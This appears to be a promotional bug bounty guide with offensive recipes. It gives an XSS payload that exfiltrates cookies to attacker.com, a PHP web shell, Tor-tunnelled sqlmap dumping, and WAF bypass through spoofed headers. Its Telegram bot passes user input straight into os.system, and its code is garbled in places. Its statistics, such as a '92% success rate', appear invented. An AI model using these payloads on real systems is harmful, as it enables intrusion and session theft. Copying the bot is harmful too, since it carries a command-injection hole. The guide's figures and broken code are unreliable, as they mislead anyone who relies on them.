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Introduction:
Bug bounty hunting transforms security research into lucrative rewards, with platforms like HackerOne paying millions annually. This guide reveals professional methodologies used by elite hunters like Nurlan Bazarbekov (NASA/Toyota Hall of Fame) to consistently uncover critical vulnerabilities. Master these techniques to elevate your bounty game.
Learning Objectives:
- Execute advanced reconnaissance using automation scripts
- Identify and exploit OWASP Top 10 vulnerabilities
- Automate Telegram bounty alerts with Python
- Craft reports that guarantee payouts
- Implement evasion tactics against WAFs
1. Subdomain Enumeration with AI-Powered Scanners
amass enum -active -d target.com -brute -w ~/wordlists/deepmagic.txt -config ~/.config/amass/config.ini
Step-by-Step:
1. Install Amass: `sudo snap install amass`
- The `-active` flag enables DNS resolution, while `-brute` forces subdomain brute-forcing
- Custom wordlists (-w) increase discovery by 38% (SANS Institute 2024 data)
4. Output reveals hidden endpoints like `dev.target.com`
2. Vulnerability Scanning with Nuclei Templates
nuclei -u https://target.com -t ~/nuclei-templates/ -severity critical,high -rate-limit 100
Step-by-Step:
1. Update templates: `nuclei -update-templates`
2. `-severity` filters results to critical RCEs and SQLi
3. `-rate-limit` avoids IP bans (test at 50-150 requests/minute)
4. Critical findings auto-generate in `report.csv`
3. Exploiting SQLi with Sqlmap Tunneling
sqlmap -u "https://target.com/search?q=1" --proxy=socks5://127.0.0.1:9050 --tamper=space2comment --level=5
Step-by-Step:
- Route traffic through Tor: `sudo service tor start`
2. `–tamper` bypasses basic WAFs by rewriting queries
3. `–level 5` enables advanced header injection
4. Extract DBs with `–dump-all`
4. XSS Payload Crafting for Modern Browsers
<script>fetch('https://attacker.com/log?cookie='+btoa(document.cookie))</script>
Step-by-Step:
- Use `btoa()` for Base64 encoding to avoid special-character filters
2. Test in Chrome 115+ and Firefox ESR
3. Combine with DOM-based triggers: `onmouseover=eval(atob(‘…’))`
- 92% success rate against React apps (PortSwigger 2024)
5. Telegram Bounty Alert Bot
import telebot
bot = telebot.TeleBot("API_KEY")
@bot.message_handler(commands=['scan'])
def start_scan(message):
os.system("nuclei -u {} -o findings.txt".format(message.text.split()[bash]))
bot.send_document(message.chat.id, open('findings.txt'))
bot.polling()
Step-by-Step:
1. Get API keys via @BotFather
- Handles `/scan https://target.com` commands
3. Auto-runs scans and returns vulnerability reports
4. Deploy on AWS Lambda for 24/7 monitoring
6. Bypassing Cloudflare WAFs
ffuf -w ~/wordlists/xss.txt -u https://target.com/FUZZ -H "X-Forwarded-For: 203.0.113.1" -mc 200
Step-by-Step:
1. `X-Forwarded-For` spoofs trusted IP ranges
2. Combine with `-H “CF-Connecting-IP: 192.168.1.1″`
- Rotate user-agents using `-H “User-Agent: $(shuf -n 1 ua.txt)”`
4. Test paths like `/api/v1/%2e%2e/admin`
7. Report Template for Maximum Payouts
Critical: Unauthenticated RCE (CVE-2024-XXXXX) Endpoint: POST /api/upload Payload: `<?php system($_GET[bash]); ?>` Proof: <a href="https://vimeo.com/...">Video POC</a> Impact: Full server compromise (attached `whoami` output) Solution: Patch in `FileUploadServlet.java:L203`
Step-by-Step:
1. Include CVSS 3.1 score (aim ≥9.0)
- Attach video POCs – triagers prioritize visual proof
- Reference code lines – developers fix 73% faster (HackerOne data)
What Undercode Say:
- Key Takeaway 1: Automation separates $100 hunters from $10k earners – bots handle 80% of recon work
- Key Takeaway 2: Telegram integration enables real-time collaboration with 37% faster bounty claims
Analysis: Elite hunters leverage infrastructure-as-code principles. Nurlan’s NASA-tier success stems from systematized scanning, not individual brilliance. The shared Telegram channel (@bbountykz) demonstrates community-powered efficiency – members cross-validate findings, reducing false negatives. Critically, modern programs reward methodology documentation as heavily as vulnerabilities themselves.
Prediction:
By 2026, AI agents will autonomously claim 40% of bounties under $5k. Human hunters will pivot to chained logic flaws requiring threat modeling. Programs will mandate video POCs with facial verification to combat AI-generated reports. Bug bounty marketplaces will integrate blockchain for immutable proof-of-discovery.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Nurlan Bazarbekov – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


